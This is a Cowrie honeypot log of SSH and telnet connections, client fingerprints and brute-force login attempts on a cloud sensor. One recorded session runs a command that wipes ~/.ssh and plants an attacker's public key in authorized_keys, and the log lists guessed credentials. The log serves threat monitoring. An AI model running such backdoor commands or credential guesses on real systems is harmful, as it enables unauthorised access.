{"eventid":"cowrie.session.connect","src_ip":"167.94.146.60","src_port":19384,"dst_ip":"159.203.135.109","dst_port":22,"session":"243864613bda","protocol":"ssh","message":"New connection: 167.94.146.60:19384 (159.203.135.109:22) [session: 243864613bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:24.008425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:24.039631Z","src_ip":"167.94.146.60","session":"243864613bda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:24.151825Z","src_ip":"167.94.146.60","session":"243864613bda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":40222,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d9057847e99","protocol":"ssh","message":"New connection: 103.13.206.100:40222 (10.17.0.5:22) [session: 7d9057847e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:28.069901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:28.075366Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:28.308615Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"mega","message":"login attempt [root/mega] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:29.277057Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:29.779681Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:29.782470Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:29.785885Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:30.021642Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:30.525840Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:30.529434Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:30.768569Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:30.772346Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":41036,"dst_ip":"10.17.0.5","dst_port":22,"session":"3565d8e333a3","protocol":"ssh","message":"New connection: 103.13.206.100:41036 (10.17.0.5:22) [session: 3565d8e333a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:31.003299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:31.008007Z","src_ip":"103.13.206.100","session":"3565d8e333a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:31.242718Z","src_ip":"103.13.206.100","session":"3565d8e333a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:32.213594Z","src_ip":"103.13.206.100","session":"3565d8e333a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:33.486949Z","src_ip":"103.13.206.100","session":"3565d8e333a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":41430,"dst_ip":"10.17.0.5","dst_port":22,"session":"86103fdf867b","protocol":"ssh","message":"New connection: 103.13.206.100:41430 (10.17.0.5:22) [session: 86103fdf867b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:33.708499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:33.715523Z","src_ip":"103.13.206.100","session":"86103fdf867b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:33.946986Z","src_ip":"103.13.206.100","session":"86103fdf867b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:34.900957Z","src_ip":"103.13.206.100","session":"86103fdf867b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:35.133604Z","src_ip":"103.13.206.100","session":"7d9057847e99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:35.138400Z","src_ip":"103.13.206.100","session":"86103fdf867b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:39.068537Z","src_ip":"167.94.146.60","session":"243864613bda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44980,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3d7ec571f3f","protocol":"ssh","message":"New connection: 45.148.10.121:44980 (159.203.135.109:22) [session: f3d7ec571f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:44.208715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:44.213254Z","src_ip":"45.148.10.121","session":"f3d7ec571f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:44.293494Z","src_ip":"45.148.10.121","session":"f3d7ec571f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:44.538188Z","src_ip":"45.148.10.121","session":"f3d7ec571f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:45.622094Z","src_ip":"45.148.10.121","session":"f3d7ec571f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":8965,"dst_ip":"10.17.0.5","dst_port":22,"session":"db3e4aaf2193","protocol":"ssh","message":"New connection: 213.209.159.159:8965 (10.17.0.5:22) [session: db3e4aaf2193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:54.278181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:54.282690Z","src_ip":"213.209.159.159","session":"db3e4aaf2193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:54.364883Z","src_ip":"213.209.159.159","session":"db3e4aaf2193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter","message":"login attempt [winter/winter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:54.767096Z","src_ip":"213.209.159.159","session":"db3e4aaf2193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter1","message":"login attempt [winter/winter1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:55.851398Z","src_ip":"213.209.159.159","session":"db3e4aaf2193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter123","message":"login attempt [winter/winter123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:56.936054Z","src_ip":"213.209.159.159","session":"db3e4aaf2193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter1234","message":"login attempt [winter/winter1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:58.021128Z","src_ip":"213.209.159.159","session":"db3e4aaf2193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter12345","message":"login attempt [winter/winter12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:58:59.106148Z","src_ip":"213.209.159.159","session":"db3e4aaf2193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:59:00.192504Z","src_ip":"213.209.159.159","session":"db3e4aaf2193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.62.1.209","src_port":52977,"dst_ip":"159.203.135.109","dst_port":23,"session":"a427ca176f32","protocol":"telnet","message":"New connection: 177.62.1.209:52977 (159.203.135.109:23) [session: a427ca176f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:59:32.805876Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59048,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dbd80aa1ee3","protocol":"ssh","message":"New connection: 2.57.122.208:59048 (159.203.135.109:22) [session: 6dbd80aa1ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:00:00.164486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:00:00.174150Z","src_ip":"2.57.122.208","session":"6dbd80aa1ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-